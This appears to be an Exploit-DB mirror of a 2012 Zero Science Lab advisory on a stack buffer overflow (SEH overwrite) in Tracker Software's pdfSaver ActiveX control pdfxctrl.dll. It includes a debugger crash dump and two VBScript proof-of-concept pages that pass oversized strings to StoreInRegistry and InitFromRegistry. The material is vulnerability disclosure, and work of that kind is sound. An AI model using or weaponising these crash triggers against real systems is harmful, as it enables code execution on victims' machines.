Tracker Software pdfSaver ActiveX 3.60 – ‘pdfxctrl.dll’ Stack Buffer Overflow (SEH) (PoC)

  • 作者: LiquidWorm
    日期: 2012-01-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18427/
  • Tracker Software pdfSaver ActiveX 3.60 (pdfxctrl.dll) Stack Buffer Overflow (SEH)
    
    
    Vendor:
    -------
    Tracker Software Products Ltd.
    
    
    Product web page:
    -----------------
    http://www.tracker-software.com
    
    
    Affected version:
    -----------------
    3.60.0128
    
    
    Summary:
    --------
    PDF-Saver Technology is a unique new feature of PDF-XChange software
    which allows printing jobs to be combined prior to the final PDF file
    being generated - (e.g. to join 3 pages of Excel spreadsheet, 5 slides
    of PowerPoint presentation and 10 pages of Word document into one PDF
    document).
    
    
    Description:
    ------------
    The PDF Printer Preferences ActiveX suffers from a buffer overflow
    vulnerability. When a large buffer is sent to the sub_path item of the
    StoreInRegistry function, and the sub_key item of the InitFromRegistry
    function, in pdfxctrl.dll module, we get a SEH overwrite. An attacker
    can gain access to the system of the affected node and execute arbitrary
    code.
    
    
    ------------------------------------------------------------------------
    
    (1fac.1ea8): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=0013e9e0 ebx=00000003 ecx=0000008c edx=00001815 esi=0013cd74 edi=0013fffd
    eip=7c834d8f esp=0013b75c ebp=0013b780 iopl=0 nv up ei pl nz na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00210206
    kernel32!lstrcatA+0x36:
    7c834d8f f3a5rep movs dword ptr es:[edi],dword ptr [esi]
    0:000> !exchain
    0013b770: kernel32!_except_handler3+0 (7c839ac0)
    CRT scope0, filter: kernel32!lstrcatA+45 (7c84086d)
    func: kernel32!lstrcatA+49 (7c840876)
    0013f1ac: 41414141
    Invalid exception stack at 41414141
    0:000> d esp
    0013b75c2a 30 00 00 cc 63 18 00-03 00 00 00 5c b7 13 00*0...c......\...
    0013b76c2a 30 00 00 ac f1 13 00-c0 9a 83 7c a8 4d 83 7c*0.........|.M.|
    0013b77c00 00 00 00 e4 ed 13 00-e7 d8 01 10 e0 e9 13 00................
    0013b78c90 b7 13 00 41 41 41 41-41 41 41 41 41 41 41 41....AAAAAAAAAAAA
    0013b79c41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    0013b7ac41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    0013b7bc41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    0013b7cc41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    
    ------------------------------------------------------------------------
    
    
    Tested on:
    ----------
    Microsoft Windows XP Professional SP3 (EN)
    
    
    Vulnerability discovered by:
    ----------------------------
    Gjoko 'LiquidWorm' Krstic
    liquidworm gmail com
    Zero Science Lab - http://www.zeroscience.mk
    
    
    Advisory ID:
    ------------
    ZSL-2012-5067
    
    
    Advisory URL:
    -------------
    http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5067.php
    
    
    
    25.01.2012
    
    
    PoC (COMRaider):
    ----------------
    
    <object classid='clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18' id='zsl' />
    <script language='vbscript'>
    
    targetFile = "C:\PDF-XChange\pdfSaver\pdfxctrl.dll"
    prototype= "Sub StoreInRegistry ( ByVal page_id As PdfPrinterDialogPage ,ByVal sub_path As String )"
    memberName = "StoreInRegistry"
    progid = "pdfxctrlLib.PdfPrinterPreferences"
    argCount = 2
    
    arg1=1
    arg2=String(6164, "A")
    
    zsl.StoreInRegistry arg1 ,arg2 
    
    </script>
    
    --------------------
    
    <object classid='clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18' id='zsl' />
    <script language='vbscript'>
    
    targetFile = "C:\PDF-XChange\pdfSaver\pdfxctrl.dll"
    prototype= "Sub InitFromRegistry ( ByVal page_id As PdfPrinterDialogPage ,ByVal sub_key As String )"
    memberName = "InitFromRegistry"
    progid = "pdfxctrlLib.PdfPrinterPreferences"
    argCount = 2
    
    arg1=1
    arg2=String(14356, "A")
    
    zsl.InitFromRegistry arg1 ,arg2 
    
    </script>